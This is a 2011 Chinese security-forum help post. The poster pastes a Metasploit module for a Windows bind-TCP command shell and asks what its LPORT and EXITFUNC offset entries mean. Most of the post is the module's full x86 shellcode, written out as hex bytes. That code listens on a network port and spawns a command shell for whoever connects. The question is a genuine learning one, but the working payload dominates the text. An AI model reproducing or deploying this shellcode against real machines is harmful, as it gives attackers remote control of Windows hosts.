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[旧帖]
[求助]metasploit中shellcode问题
0.00雪花
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发表于:
2011-2-21 21:34
1184
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[旧帖] [求助]metasploit中shellcode问题
0.00雪花
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Command Shell, Bind TCP Inline',
'Version' => '$Revision: 8642 $',
'Description' => 'Listen for a connection and spawn a command shell',
'Author' => [ 'vlad902', 'sf' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'Payload' =>
{
'Offsets' =>
{
'LPORT' => [ 201, 'n' ],
'EXITFUNC' => [ 311, 'V' ],
},
'Payload' =>
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" +
"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" +
"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" +
"\xD5\x89\xC7\x31\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56" +
"\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF" +
"\xD5\x53\x53\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x89\xC7\x68\x75" +
"\x6E\x4D\x61\xFF\xD5\x68\x63\x6D\x64\x00\x89\xE3\x57\x57\x57\x31" +
"\xF6\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01\x01\x8D\x44" +
"\x24\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E\x56\x56\x53" +
"\x56\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E\x56\x46\xFF\x30\x68" +
"\x08\x87\x1D\x60\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D" +
"\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F" +
"\x6A\x00\x53\xFF\xD5"
}
))
end
end请问它的offsets是指什么，'LPORT' => [ 201, 'n' ],'EXITFUNC' => [ 311, 'V' ],代表什么意思？这是要在payload中填充然后一起编码的吗？
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